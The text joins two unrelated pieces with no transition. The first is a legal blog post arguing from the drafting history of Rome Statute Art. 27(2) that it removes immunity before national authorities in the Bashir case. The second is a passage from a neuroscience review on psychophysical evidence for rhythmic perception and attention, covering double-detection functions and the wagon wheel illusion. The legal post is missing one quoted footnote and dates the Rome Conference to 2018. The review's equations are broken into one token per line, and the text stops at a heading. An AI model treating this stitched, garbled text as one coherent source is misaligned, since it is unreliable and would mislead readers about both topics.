As is well known, when the ICC seeks to exercise its jurisdiction over a state official who ordinarily possesses immunity under international law from foreign criminal jurisdiction, the question of immunity may, potentially, arise at two levels. First, the issue of international law immunity with respect to the ICC may possibly arise at the so-called ‘vertical level’, i.e in the relations between the ICC, on the one hand, and the accused person and his or her state, on the other. The question that arises here is whether the accused person (as a state official entitled to international law immunities) or his or her state, may plead those immunities before the ICC itself, such as to prevent the Court from exercising jurisdiction over him or her. Second, and more commonly, the issue of immunity will arise at the so-called ‘horizontal level’, i.e in the relations between a state that is requested by the ICC to effect an arrest or surrender, on the one hand, and the state of the accused person, on the other. Here, the question is whether a state that is requested by the ICC, to arrest or surrender the official of another state, may do so, where to do so would require the requested state to violate the immunities that the foreign state official ordinarily possesses under international law. In particular, the question at this horizontal level is whether there is something about the ICC’s request for cooperation that would mean that the obligations which a state ordinarily owes to another to consider inviolable the person of a serving foreign head of state no longer apply. This is the main question that the Appeals Chamber is called upon to resolve in the Bashir case. In this post, we do not propose to examine the range of arguments put to the Chamber on this question. Rather this post will consider one specific question that is critical to the Court’s assessment and to the more general question of how the ICC Statute affects the immunity of state officials.
The post considers whether the provision of the Rome Statute that removes immunity – Art. 27(2) – only removes immunity at the ‘vertical level’ (before the Court itself) or whether it does so at the ‘horizontal level’ (before national authorities) as well. In particular, the post throws new light on this question through an examination of the drafting history of that provision. Consideration of the drafting history shows that the drafters of the provision considered, throughout the period of elaboration of the Statute, that what would become Art. 27 was to have effect not just in proceedings before the ICC itself but also in national proceedings related to the ICC’s exercise of jurisdiction.
It will be recalled that the principal argument made by the Office of the Prosecutor in the Jordan Appeal is that SC Resolution 1593, which referred the situation in Darfur, Sudan, to the ICC, had the effect of imposing the removal of immunity contained in Art. 27(2) on Sudan. This argument, to which we subscribe (and which one of us set out in full in 2009and the other elaborated upon more recently on this blog) had been accepted by the Pre-Trial Chamber in the Jordanand South Africaproceedings in the Bashir Case (for brief consideration of the evolution of the views of the ICC Pre-Trial Chambers with respect to immunity, see this recent AJIL Unbound piece). The argument proceeds on the basis that the removal of immunity contained in Art. 27(2) of the ICC Statute does not only operate at the horizontal level but also removes immunity at the ‘vertical level’ before national courts and national authorities. One of us has previously (see this 2003 AJIL article (pp. 419-426) and this 2009 JICJ article (pp. 337-339)) set out arguments as to why this is so. That strand of the argument was also accepted in the Jordan and South African Pre- Trial Chamber decisions. This post addresses just this latter strand of the argument and does not address the question of the effect of the Security Council resolutions on immunity.
Article 27(2) provides that:
“Immunities or special procedural rules which may attach to the official capacity of a person, whether under national or international law, shall not bar the Court from exercising its jurisdiction over such a person.”
The view that Article 27 removes immunities, not just before the ICC itself, but also with respect to action taken by national authorities, where those authorities are acting in response to a request by the Court has been put forward for a number of reasons. Those reasons derive support from the rules of treaty interpretation to be found in Art. 31 of the Vienna Convention on the Law of Treaties. First, there is the argument that follows from the text of Art. 27(2). Where national authorities give effect to immunity as a reason for not arresting or surrendering someone subject to a request for cooperation by the Court, the immunity would indeed “bar the Court from exercising its jurisdiction over such a person.” (See South Africa Pre-Trial Chamber, para. 74). Second, there is the argument that is derived from the principle of effectiveness. To read Art. 27(2) as applying only to immunity before the Court would render at least one part of that provision completely meaningless and other parts practically meaningless. The reference to immunity under ‘national law’ will be completely meaningless since international tribunals do not apply national law. Furthermore, because the Court has no independent powers of arrest and must rely on national authorities, a proclamation that immunities shall not bar the exercise of jurisdiction by the Court while leaving such immunities intact with respect to arrests by national authorities would mean that the Court would hardly be in a position to apply Article 27 and exercise its jurisdiction. This is because the ICC would not gain custody of persons entitled to immunity except where such persons are surrendered by their state (in which case their immunity would be waived and Article 27 would be irrelevant) or through voluntary surrender. This would confine Article 27 to the rare case where a person entitled to immunity surrendered voluntarily, in which case the person is unlikely to claim immunity. The third reason for interpreting Art. 27 as applying to the vertical level is that the effect of the contrary argument would be to make an important provision directed at combating impunity inoperable for most practical purposes. As the Pre-Trial Chamber noted in the South African decision, reliance on immunities to deny cooperation with the court would create an insurmountable obstacle to the Court’s ability to exercise its jurisdiction and “[s]uch a situation would clearly be incompatible with the object and purpose of article 27(2) of the Statute [para. 75].” Fourth, the practice of at least some parties to the ICC Statute, in legislation implementing their obligations under the Statute, suggests that they view Article 27 as removing immunity not only at the stage where the defendant is before the Court, but also at the national level. A number of states have adopted domestic implementing legislation which implicitly or explicitly take the view that officials of other states may not be entitled to international law immunity from arrest when a request for arrest has been made by the ICC. [See the list from this 2009 JICJ article, n. 19, with reference to legislation by Canada, New Zealand, UK, Switzerland, Malta, South Africa, Croatia, Trinidad & Tobago, Ireland, Samoa, Estonia and the Commonwealth’s Model on Implementation of the Rome Statute.]
If, after considering these rules of interpretation that are to be found in Art 31 of the VCLT, ambiguity remains as the scope of Art. 27(2), Art. 31 of the VCLT provides that recourse may be had to the drafting history. When one digs into the travaux préparatoiresof this provision, three important findings emerge.
First, several earlier versions of Article 27(2) had a slightly different, but clearer wording:
“Any immunities or special procedural rules attached to the official capacity of a person, whether under national or international law, may not be relied upon to prevent the Court from exercising its jurisdiction in relation to that person.” (emphasis added) (see, e.g. here, at p. 4; here, at p. 22; here, at pp. 54-55; and here, at p. 51)
This text seems to indicate that not only are states parties precluded from relying on immunities before the ICC itself, but also on any other immunities, before domestic or international courts, that would otherwise prevent or bar the Court from exercising its own jurisdiction. In other words, the immunity exception did not just cover immunities from the ICC’s own jurisdiction, but also any other immunities or procedural rules that would somehow prevent the Court from exercising this jurisdiction. We are mindful that several reasons might have justified the change in the wording of this provision. However, there is no record of controversy or debate between the drafters surrounding the content or the text of what later became Article 27(2). Indeed, the discussion of the content of this provision was left to the drafting committee in charge of Part 9 on judicial cooperation with the Court (See Otto Triffterer and Christoph Burchard ‘Article 27 Irrelevance of official capacity’ in Otto Triffterer and Kai Ambos (eds), Rome Statute of the International Criminal Court: A Commentary (Beck/Hart 2016), at p. 1048). This suggests that there was indeed a relationship between Articles 27(2) and 98. It also seems to indicate that the content of Article 27(2) did not change between its first and second versions.
Secondly and relatedly, the preparatory works reveal that, from the moment of inclusion of what was to become Article 27(2) in the Draft Statute, the drafters were already mindful of the relationship that existed between the removal of immunity provided for in that provision, and the provisions setting out the Court’s cooperation regime. In fact, the following footnote is found in various documents containing the earlier formulation of Article 27(2):
That footnote would be meaningless if what became Art. 27(2) was to have effect only before the ICC itself, and would have no impact on immunities before domestic authorities in the context of the cooperation regime. That footnote seems to be indication of the drafters’ view that what became Art. 27(2) would have some effect on the cooperation regime and on national authorities. This point is significant because some have argued that Art. 27(2) cannot be seen has having an effect at the horizontal level (i.e before national authorities) because that is a matter that deals with cooperation but Art. 27 is not in Part 9 of the ICC Statute dealing with state cooperation.
Thirdly, even after what was to become Article 27(2) gained its final wording during the Rome Conference itself in June 2018, the drafters were still mindful of the impact of this provision on the possible exercise of domestic jurisdiction by states. After adoption of this text by the Drafting Committee of the Rome Conference, a new footnote was added explaining that:
“The Drafting Committee will re-examine this text after receiving from the Committee of the Whole the provisions on complementarity, in order to determine whether the present provision overrides or is subject to the principle of complementarity.” (see here)
As is well known, complementarity has to do with the primary role of states and their domestic courts in the prosecution of conduct amounting to the international crimes which are subject to the Court’s jurisdiction. Thus, the reference to complementarity chiefly implies a concern with states’ own domestic jurisdiction over those crimes. Significantly, in the context of Article 27(2) of the Statute, a reference to ‘overriding’ or being ‘subject to’ complementarity could mean that the removal of immunity contained in that provision also applied to states and their domestic courts, either to allow them to exercise their own domestic jurisdiction, with primacy over the ICC, or to allow the Court to take over the case.
These materials to be found in the drafting history provide a picture indicating that the drafters of Art. 27(2) always considered that this provision would have some effect at the national level, at least in the contexts of cooperation by states. When this reference to the drafting history is combined with methods of treaty interpretation, they provide strong support for the view that for those states that are bound by Article 27(2), the provision does not merely operate at the ‘vertical level’ (removing immunity before the ICC), but also at the ‘horizontal level’ (removing, before national authorities of states parties, the immunity of those states bound by the Statute). |
Introduction
============
Neurons convey information by means of electrical signals. Due to intrinsic properties of neuronal networks (e.g., conduction delays, balance between excitation and inhibition, membrane time constants), these electrical pulses give rise to large-scale periodic fluctuations of the background electric potential, which constitute the brain "rhythms" and oscillations (Buzsaki, [@B9]). Some oscillations -- like the "alpha" rhythm at 8--13 Hz can be seen with the naked eye on an electro-encephalographic trace (Berger, [@B4]), while others require sophisticated analysis methods or recordings with a higher signal-to-noise ratio (using intra-cerebral probes in animals and, more rarely, in humans). There are many theories implicating brain oscillations in the performance of particular cognitive functions such as perception (Eckhorn et al., [@B20]; Gray et al., [@B31]; Engel et al., [@B23]; Singer and Gray, [@B79]; von der Malsburg, [@B99]), attention (Niebur et al., [@B62]; Fell et al., [@B26]; Womelsdorf and Fries, [@B103]), consciousness (Koch and Braun, [@B48]; Gold, [@B30]; Engel and Singer, [@B24]), and memory (Lisman and Idiart, [@B52]; Klimesch, [@B45]; Kahana et al., [@B43]). There are also flurries of experimental studies supporting (and sometimes, invalidating) these theories based on electrophysiological measurements of brain activity (Revonsuo et al., [@B72]; Tallon-Baudry et al., [@B81], [@B82]; Fries et al., [@B28]; Jensen et al., [@B42]; Gail et al., [@B29]; Ray and Maunsell, [@B70]). It is somewhat less ordinary, on the other hand, to investigate the consequences of brain oscillations using psychophysical techniques. Yet one major prediction of the above-mentioned theories is directly amenable to psychophysical experimentation: indeed, an oscillatory implementation at the neuronal level should imply that the relevant cognitive function fluctuates periodically, and such fluctuations should be measurable with standard (or slightly more sophisticated) experimental psychology techniques.
The purpose of this article is to review some of the psychophysical techniques that have been applied recently to the study of brain oscillations. In so doing, we will touch upon two classical debates in perception research. First, scientists have long theorized that oscillations could divide the continuous sequence of inputs feeding into our perceptual systems into a series of discrete cycles or "snapshots" (Pitts and McCulloch, [@B66]; Stroud, [@B80]; Harter, [@B32]; Allport, [@B1]; Sanford, [@B74]), but this idea is far from mainstream nowadays; we refer to this debate as "discrete vs. continuous perception" (VanRullen and Koch, [@B94]). Second, there is another long-standing debate known as "parallel vs. sequential attention": does attention concentrate its resources simultaneously or sequentially when there are multiple targets to focus on? Though this discussion is generally disconnected from the topic of brain oscillations, we will argue that it is in fact germane to the previous question. The sequential attention idea -- which has traditionally been the dominant one -- originated with the assumption that high-level vision cannot process more than one object at a time, and must therefore shift periodically between the stimuli (Eriksen and Spencer, [@B25]; Treisman, [@B84]; Kahneman, [@B44]), just like our gaze must shift around because our fovea cannot fixate on multiple objects simultaneously. Interestingly, sequential attention theories require a (possibly irregular) cyclic process for disengaging attention at the current target location and engaging it anew. It is easy to see -- although little noticed in the literature -- that discrete perception is merely an extension of this idea, obtained by assuming that the "periodic engine" keeps running, even when there is only one stimulus to process. This connection between the two theories will be a recurring thread in the present narrative.
Of course, the primary source of evidence about these topics is (and should remain) based on neurophysiological recordings, which provide direct measurements of the neuronal oscillations. For example, we have recently reviewed our past EEG work on the perceptual correlates of ongoing oscillations, with a focus on linking these oscillations to the notion of discrete perception (VanRullen et al., [@B90]). Another example is a recent study in macaque monkeys revealing that oscillatory neuronal activity in the frontal eye field (FEF, a region involved in attention and saccade programming) reflects the successive cycles of a clearly sequential attentional exploration process during visual search (Buschman and Miller, [@B8]). In this review we focus on purely psychophysical methods, not because they are better than direct neurophysiological measurements, but because they also inform us about psychological and perceptual consequences of the postulated periodicities. However, due to the inherent temporal limitations of most psychophysical methods, it should be kept in mind that in practice this approach is probably restricted to the lower end of the frequency spectrum, i.e., oscillations in the delta (0--4 Hz), theta (4--8 Hz), alpha (8--14 Hz), and possibly beta (14--30 Hz) bands. Higher-frequency oscillations (e.g., gamma: 30--80 Hz) may still play a role in sensory processing, but they are generally less amenable to direct psychophysical observation.
There exist many psychophysical paradigms designed to test the temporal limits of sensory systems but that do not directly implicate periodic perception or attention, because their results can also be explained by temporal "smoothing" or integration, in the context of a strictly continuous model of perception (Di Lollo and Wilson, [@B15]). These paradigms are nonetheless useful to the discrete argument because they constrain the range of plausible periodicities: for example, temporal numerosity judgments or simultaneity judgments indicate that the temporal limit for individuating visual events is only around 10 events per second (White et al., [@B101]; Lichtenstein, [@B51]; White, [@B100]; Holcombe, [@B35]), suggesting a potential oscillatory correlate in the alpha band (Harter, [@B32]). We will not develop these results further here, focusing instead on paradigms that unequivocally indicate periodic sampling of perception or attention. Similarly, although some psychophysical studies have demonstrated that perception and attention can be entrained to a low-frequency rhythmic structure in the stimulus sequence (Large and Jones, [@B49]; Mathewson et al., [@B56]), we will only concentrate here on studies implicating *intrinsic* perceptual and attentional rhythms (i.e., rhythms that are not present in the stimulus). We will see that progress can be made on the two debates of discrete vs. continuous perception and sequential vs. parallel attention by addressing them together rather than separately.
Rhythmic Sampling of a Single Stimulus: Discrete vs. Continuous Perception {#s1}
==========================================================================
Suppose that a new stimulus suddenly appears in your visual field, say a red light at the traffic intersection. For such a transient onset, a sequence of visual processing mechanisms from your retina to your high-level visual cortex will automatically come into play, allowing you after a more or less fixed latency to "perceive" this stimulus, i.e., experience it as part of the world in front of you. Hopefully you should then stop at the intersection. What happens next? For as long as the stimulus remains in the visual field, you will continue to experience it. But how do you know it is still there? You might argue that if it were gone, the same process as previously would now signal the transient offset (together with the onset of the green light), and you would then recognize that the red light is gone. But in-between those two moments, you did experience the red light as present -- did you only fill in the mental contents of this intervening period after the green light appeared? This sounds unlikely, at least if your traffic lights last as long as they do around here. Maybe the different stages of your visual system were constantly processing their (unchanged) inputs and feeding their (unchanged) outputs to the next stage, just in case the stimulus might happen to change right then -- a costly but plausible strategy. An intermediate alternative would consist in sampling the external world periodically to verify, and potentially update, its contents; the period could be chosen to minimize metabolic effort, while maximizing the chances of detecting any changes within an ecologically useful delay (e.g., to avoid honking from impatient drivers behind you when you take too long to notice the green light). These last two strategies are respectively known as continuous and discrete perception.
The specific logic of the above example may have urged you to favor discrete perception, but the scientific community traditionally sides with the continuous idea. It has not always been so, however. In particular, the first observations of EEG oscillations in the early twentieth century (Berger, [@B4]), together with the simultaneous popularization of the cinema, prompted many post-war scientists to propose that the role of brain oscillations could be to chunk sensory information into unitary events or "snapshots," similar to what happens in the movies (Pitts and McCulloch, [@B66]; Stroud, [@B80]; Harter, [@B32]). Much experimental research ensued, which we have already reviewed elsewhere (VanRullen and Koch, [@B94]). The question was never fully decided, however, and the community\'s interest eventually faded. The experimental efforts that we describe in this section all result from an attempt to follow up on this past work and revive the scientific appeal of the discrete perception theory.
Periodicities in reaction time distributions
--------------------------------------------
Some authors have reasoned that if the visual system samples the external world discretely, the time it would take an observer to react after the light turns green would depend on the precise moment at which this event occurred, relative to the ongoing samples: if the stimulus is not detected within one given sample then the response will be delayed at least until the next sampling period. This relation may be visible in histograms of reaction time (RT). Indeed, multiple peaks separated by a more or less constant period are often apparent in RT histograms: these multimodal distributions have been reported with a period of approximately 100 ms for verbal choice responses (Venables, [@B98]), 10--40 ms for auditory and visual discrimination responses (Dehaene, [@B14]), 10--15 ms for saccadic responses (Latour, [@B50]), 30 ms for smooth pursuit eye movement initiation responses (Poppel and Logothetis, [@B67]). It must be emphasized, however, that an oscillation can only be found in a histogram of post-stimulus RTs if each stimulus either evokes a novel oscillation, or resets an existing one. Otherwise (and assuming that the experiment is properly designed, i.e., with unpredictable stimulus onsets), the moment of periodic sampling will always occur at a random time with respect to the stimulus onset; thus, the peaks of response probability corresponding to the recurring sampling moments will average out, when the histogram is computed over many trials. In other words, even though these periodicities in RT distributions are intriguing, they do not unambiguously demonstrate that perception samples the world periodically -- for example, it could just be that each stimulus onset triggers an oscillation in the motor system that will subsequently constrain the response generation process. In the following sections, we present other psychophysical methods that can reveal perceptual periodicities within *ongoing* brain activity, i.e., without assuming a post-stimulus phase reset.
Double-detection functions
--------------------------
As illustrated in the previous section, there is an inherent difficulty in studying the perceptual consequences of ongoing oscillations: even if the pre-stimulus oscillatory phase modulates the sensory processing of the stimulus, this pre-stimulus phase will be different on successive repetitions of the experimental trial, and the average performance over many trials will show no signs of the modulation. Obviously, this problem can be overcome if the phase on each trial can be precisely estimated, for example using EEG recordings (VanRullen et al., [@B90]). With purely psychophysical methods, however, the problem is a real challenge.
An elegant way to get around this challenge has been proposed by Latour ([@B50]). With this method, he showed preliminary evidence that visual detection thresholds could fluctuate along with ongoing oscillations in the gamma range (30--80 Hz). The idea is to present two stimuli on each trial, with a variable delay between them, and measure the observer\'s performance for detecting (or discriminating, recognizing, etc.) both stimuli: even if each stimulus\'s absolute relation to an ongoing oscillatory phase cannot be estimated, the probability of double-detection should oscillate as a function of the inter-stimulus *delay* (Figure [1](#F1){ref-type="fig"}). In plain English, the logic is that when the inter-stimulus delay is a multiple of the oscillatory period, the observer will be very likely to detect both stimuli (if they both fall at the optimal phase of the oscillation) or to miss both stimuli altogether (if they both fall at the opposite phase); on the other hand, if the delay is chosen in-between two multiples of the oscillatory period, then the observer will be very likely to detect only one of the two stimuli (if the first stimulus occurs at the optimal phase, the other will fall at the opposite, and vice-versa).
![**Double-detection functions can reveal periodicities even when the phase varies across trials**. **(A)** Protocol. Let us assume that the probability of detecting a stimulus (i.e., the system\'s sensitivity) fluctuates periodically along with the phase of an ongoing oscillatory process. By definition, this process bears no relation with the timing of each trial, and thus the phase will differ on each trial. On successive trials, not one but two stimuli are presented, with a variable delay between them. **(B)** Expected results. Because the phase of the oscillatory process at the moment of stimulus presentation is fully unpredictable, the average probability of detecting each stimulus as a function of time (using an absolute reference, such as the trial onset) will be constant (left). The probability of detecting the second stimulus will also be independent of the time elapsed since the first one (middle). However, the probability of detecting both stimuli (albeit smaller) will oscillate as a function of the delay between them, and the period of this oscillation will be equal to the period of the original ongoing oscillatory process (adapted from Latour, [@B50]).](fpsyg-02-00203-g001){#F1}
More formally, let us assume that the probability of measuring our psychological variable ψ (e.g., target detection, discrimination, recognition, etc.) depends periodically (with period 2π/ω) on the time of presentation of the stimulation *s*; to a first approximation this can be noted:
p
(
ψ
=
1
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s
=
1
)
=
p
0
⋅
(
1
\+
a
⋅
sin
(
ω
⋅
t
)
)
where *p*~0~ is the average expected measurement probability, and a is the amplitude of the periodic modulation. Since the time *t* of stimulation (with respect to the ongoing oscillation) may change for different repetitions of the measurement, only *p*~0~ can be measured with classical trial averaging methods (i.e., the "sine" term will average out to a mean value of zero). However, if two identical stimulations are presented, separated by an interval δ*t*, the conditional probability of measuring our psychological variable *twice* can be shown to be (there is no room here, unfortunately, for the corresponding mathematical demonstration):
p
(
ψ
=
2
\|
s
=
2
)
=
p
0
2
⋅
(
1
\+
(
(
(
a
2
)
/
2
)
⋅
cos
(
ω
⋅
δ
t
)
)
)
The resulting probability only depends on the interval δ*t* (chosen by the experimenter), and thus does not require knowledge of the exact oscillatory phase on every trial. This means that, using double stimulations and double-detection functions, one can derive *psychophysically* the rate ω of the periodic process, and its modulation amplitude a (Figure [1](#F1){ref-type="fig"}).
In practice, unfortunately, this method is not as easy to apply as it sounds. One important caveat was already mentioned by Latour: the inter-stimulus delay must be chosen to be long enough to avoid direct interactions between the two stimuli (e.g., masking, apparent motion, etc.). This is because the mathematical derivation of Eq. [2](#E2){ref-type="disp-formula"} assumes independence between the detection probabilities for the two stimuli. To ensure that this condition is satisfied, the stimuli should be separated by a few 100 ms (corresponding to the integration period for masking or apparent motion); on the other hand, this implies that several oscillatory cycles will occur between the two stimuli, and many external factors (e.g., phase slip, reset) can thus interfere and decrease the measured oscillation. This in turn suggests that the method may be more appropriate for revealing low-frequency oscillations than high-frequency ones (e.g., gamma). Another important limitation is that the magnitude of the measured oscillation in the double-detection function (2) is squared, compared to the magnitude of the original perceptual oscillation. Although this is not a problem if the perceptual oscillation is strong (i.e., the square of a number close to 1 is also close to 1), it can become troublesome when the original perceptual oscillation is already subtle (e.g., for a 20% modulation of the visual threshold, one can only expect a 4% modulation in the double-detection function). Altogether, these limitations may explain why Latour\'s results have, so far, not been replicated or extended.
Temporal aliasing: The wagon wheel illusion {#s2}
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Engineers know that any signal sampled by a discrete or periodic system is subject to potential "aliasing" artifacts (Figure [2](#F2){ref-type="fig"}): when the sampling resolution is lower than a critical limit (the "Nyquist rate") the signal can be interpreted erroneously. This is true, for instance, when a signal is sampled in the temporal domain (Figure [2](#F2){ref-type="fig"}A). When this signal is a periodic visual pattern in motion, aliasing produces a phenomenon called the "wagon wheel illusion" (Figure [2](#F2){ref-type="fig"}B): the pattern appears to move in the wrong direction. This is often observed in movies or on television, due to the discrete sampling of video cameras (generally around 24 frames per second). Interestingly, a similar perceptual effect has also been reported under continuous conditions of illumination, e.g., daylight (Schouten, [@B75]; Purves et al., [@B68]; VanRullen et al., [@B93]). In this case, however, because no artificial device is imposing a periodic sampling of the stimulus, the logical conclusion is that the illusion must be caused by aliasing within the visual system itself. Thus, this "continuous version of the wagon wheel illusion" (or "c-WWI") has been interpreted as evidence that the visual system samples motion information periodically (Purves et al., [@B68]; Andrews et al., [@B2]; Simpson et al., [@B78]; VanRullen et al., [@B93]).
{#F2}
There are many arguments in favor of this "discrete" interpretation of the c-WWI. First, the illusion occurs in a very specific range of stimulus temporal frequencies, compatible with a discrete sampling rate of approximately 13 Hz (Purves et al., [@B68]; Simpson et al., [@B78]; VanRullen et al., [@B93]). As expected according to the discrete sampling idea, this critical frequency remains unchanged when manipulating the spatial frequency of the stimulus (Simpson et al., [@B78]; VanRullen et al., [@B93]) or the type of motion employed, i.e., rotation vs. translation motion, or first-order vs. second-order motion (VanRullen et al., [@B93]). EEG correlates of the perceived illusion confirm these psychophysical findings and point to an oscillation in the same frequency range around 13 Hz (VanRullen et al., [@B88]; Piantoni et al., [@B65]). Altogether, these data suggest that (at least part of) the motion perception system proceeds by sampling its inputs periodically, at a rate of 13 samples per second.
There are, of course, alternative accounts of the phenomenon. First, it is noteworthy that the illusion is not instantaneous, and does not last indefinitely, but it is instead a bistable phenomenon, which comes and goes with stochastic dynamics; such a process implies the existence of a competition between neural mechanisms supporting the veridical and the erroneous motion directions (Blake and Logothetis, [@B6]). Within this context, the debate centers around the source of the erroneous signals: some authors have argued that they arise not from periodic sampling and aliasing, but from spurious activation in low-level motion detectors (Kline et al., [@B47]; Holcombe et al., [@B36]) or from motion adaptation processes that would momentarily prevail over the steady input (Holcombe and Seizova-Cajic, [@B37]; Kline and Eagleman, [@B46]). We find these accounts unsatisfactory, because they do not seem compatible with the following experimental observations: (i) the illusion is always maximal around the same temporal frequency, whereas the temporal frequency tuning of low-level motion detectors differs widely between first and second-order motion (Hutchinson and Ledgeway, [@B40]); (ii) not only the magnitude of the illusion, but also its spatial extent and its optimal temporal frequency -- which we take as a reflection of the system\'s periodic sampling rate -- are all affected by attentional manipulations (VanRullen et al., [@B93]; VanRullen, [@B88]; Macdonald et al., under review); in contrast, the amount of motion adaptation could be assumed to vary with attentional load (Chaudhuri, [@B12]; Rezec et al., [@B73]), but probably not the frequency tuning of low-level motion detectors; (iii) motion adaptation itself can be dissociated from the wagon wheel illusion using appropriate stimulus manipulations; for example, varying stimulus contrast or eccentricity can make the motion aftereffects (both static and dynamic versions) decrease while the c-WWI magnitude increases, and vice-versa (VanRullen, [@B89]); (iv) finally, the brain regions responsible for the c-WWI effect, repeatedly identified in the right parietal lobe (VanRullen et al., [@B88], [@B95]; Reddy et al., [@B71]), point to a higher-level cause than the mere adaptation of low-level motion detectors.
Disentangling the neural mechanisms of the continuous wagon wheel illusion could be (and actually, is) the topic of an entirely separate review (VanRullen et al., [@B97]). To summarize, our current view is that the reversed motion signals most likely originate as a form of aliasing due to periodic temporal sampling by attention-based motion perception systems, at a rate of ∼13 Hz; the bistability of the illusion is due to the simultaneous encoding of the veridical motion direction by other (low-level, or "first-order") motion perception systems. The debate, however, is as yet far from settled. At any rate, this phenomenon illustrates the potential value of temporal aliasing as a paradigm to probe the discrete nature of sensory perception.
Other forms of temporal aliasing {#s3}
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The sampling frequency evidenced with the c-WWI paradigm may be specific to attention-based motion perception mechanisms. It is only natural to try and extend the temporal aliasing methodology to perception of other types of motion, to perception of visual features other than motion or to perception in sensory modalities other than vision. If evidence for temporal aliasing could be found in these cases, the corresponding sampling frequencies may then be compared to one another and further inform our understanding of discrete perception. Is there a single rhythm, a central (attentional) clock that samples all sensory inputs? Or is information from any single channel of sensory information read out periodically at its own rate, independently from other channels? While the first proposition reflects the understanding that most have of the theory of discrete perception (Kline and Eagleman, [@B46]), the latter may be a much more faithful description of reality; additionally, the sampling rate for a given channel may vary depending on task demands and attentional state, further blurring intrinsic periodicities.
The simple generic paradigm which we advocate to probe the brain for temporal aliasing is as follows. Human observers are presented with a periodic time-varying input which physically evolves in an unambiguously defined direction; they are asked to make a two-alternative forced choice judgment on the direction of evolution of this input, whose frequency is systematically varied by the experimenter across trials. A consistent report of the wrong direction at a given input frequency may be taken as a behavioral correlate of temporal aliasing, and the frequencies at which this occurs inform the experimenter about the underlying sampling frequency of the brain for this input.
Two main hurdles may be encountered in applying this paradigm. The first one lies in what should be considered a "consistent" report of the wrong direction. Clearly, for an engineered sampling system, one can find input frequencies at which the system will *always* output the wrong direction. For a human observer, however, several factors could be expected to lower the tendency to report the wrong direction, even at frequencies that are subject to aliasing: measurement noise, the potential variability of the hypothetical sampling frequency over the duration of the experiment, and most importantly, the potential presence of alternate sources of information (as in the c-WWI example, where competition occurs between low-level and attention-based motion systems). In the end, even if aliasing occurs, it may not manifest as a clear and reliable percept of the erroneous direction, but rather as a subtle increase of the probability of reporting the wrong direction at certain frequencies. Recently, we proposed a method to evaluate the presence of aliasing in psychometric functions, based on model fitting (Dubois and VanRullen, [@B17]). (A write-up of this method and associated findings can be accessed at [http://www.cerco.ups-tlse.fr/∼rufin/assc09/](http://www.cerco.ups-tlse.fr/∼rufin/assc09/)). Results of a 2-AFC motion discrimination experiment were well explained by considering two motion sensing systems, one that functions continuously and one that takes periodic samples of position to infer motion. These two systems each give rise to predictable psychometric functions with few parameters, whose respective contributions to performance can be inferred by model fitting. Evidence for a significant contribution of a discrete process sampling at 13 Hz was found -- thus confirming our previous conclusions from the c-WWI phenomenon. Furthermore, the discrete process contributed more strongly to the perceptual outcome when motion was presented inter-ocularly, than binocularly; this is compatible with our postulate that discrete sampling in the c-WWI is a high-level effect, since inter-ocular motion perception depends on higher-level motion perception systems (Lu and Sperling, [@B54]).
The second pitfall is that the temporal resolution for discriminating the direction of the time-varying input under consideration should be at least as good as the hypothesized sampling frequency. If the psychometric function is already at chance at the frequency where aliasing is expected to take place, this aliasing will simply not be observed -- whether the perceptual process relies on periodic sampling or not. Our lab learned this the hard way: many of the features that we experimented with so far, besides luminance and contrast-defined motion, can only be discriminated at low-temporal frequencies -- they belong to Holcombe\'s "seeing slow" category (Holcombe, [@B35]). For example, we hypothesized that motion stimuli designed to be invisible to the first-order motion perception system, such as stereo-defined motion (Tseng et al., [@B86]), would yield maximal aliasing as there is no other motion perception system offering competing information. Unfortunately, these stimuli do not yield a clear percept at temporal frequencies beyond 3--4 Hz, meaning that any aliasing occurring at higher frequencies would have escaped our notice. The "motion standstill" phenomenon reported by Lu and colleagues (Lu et al., [@B53]; Tseng et al. [@B86]) with similar stimuli at frequencies around 5 Hz remains a potential manifestation of temporal aliasing, although we have not satisfactorily replicated it in our lab yet. We also hypothesized that binding of spatially distinct feature conjunctions, such as color and motion, could rely on sequential attentional sampling of the two features (Moutoussis and Zeki, [@B60]), and should thus be subject to aliasing. Again, we were disappointed to find that performance was at chance level at presentation rates higher than 3--4 Hz (Holcombe, [@B35]), precluding further analysis. We also attempted to adapt the wagon wheel phenomenon to the auditory modality. Here, perception of sound source motion (e.g., a sound rotating around the listener) also appeared limited to about 3 Hz (Feron et al., [@B27]). We then reasoned that frequency, rather than spatial position, was the primary feature for auditory perception, and designed periodic stimuli that moved in particular directions in the frequency domain -- so-called Shepard or Risset sequences (Shepard, [@B76]). Again, we found that the direction of these periodic frequency sweeps could not be identified when the temporal frequency of presentation was increased beyond 3--4 Hz.
In sum, although temporal aliasing is, in principle, a choice paradigm to probe the rhythms of perception, our attempts so far at applying this technique to other perceptual domains than motion (the c-WWI) have been foiled by the strict temporal limits of the corresponding sensory systems. What we can safely conclude is that, if discrete sampling exists in any of these other perceptual domains, it will be at a sampling rate above 3--4 Hz. We have not exhausted all possible stimuli and encourage others to conduct their own experiments. There are two faces to the challenge: finding stimuli that the brain "sees fast" enough, and using an appropriate model to infer the contribution of periodic sampling to the psychometric performance (in case other sources of information and sizeable variability across trials should blur the influence of discrete processes).
Rhythmic Sampling of Multiple Stimuli: Sequential vs. Parallel Attention {#s4}
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Let us return to our previous hypothetical situation. Now you have passed the traffic lights and driven home, and you turned on the TV to find out today\'s lottery numbers. There are a handful of channels that can provide this information at this hour, so you go to "multi-channel" mode to monitor them simultaneously. The lottery results are not on, so you will wait until any channel shows them. How will you know which one? You try to process all channels at once, but their contents collide and confuse you. What if one of them shows the numbers but you notice it too late? By focusing on a single channel you would be sure not to miss the first numbers, but then what if you picked the wrong channel? In such a situation, it is likely that you will switch your attention rapidly between the different candidate channels until you see one that provides the required information. Your brain often faces the same problem when multiple objects are present in the visual field and their properties must be identified, monitored or compared.
A long-standing debate
----------------------
### Visual search
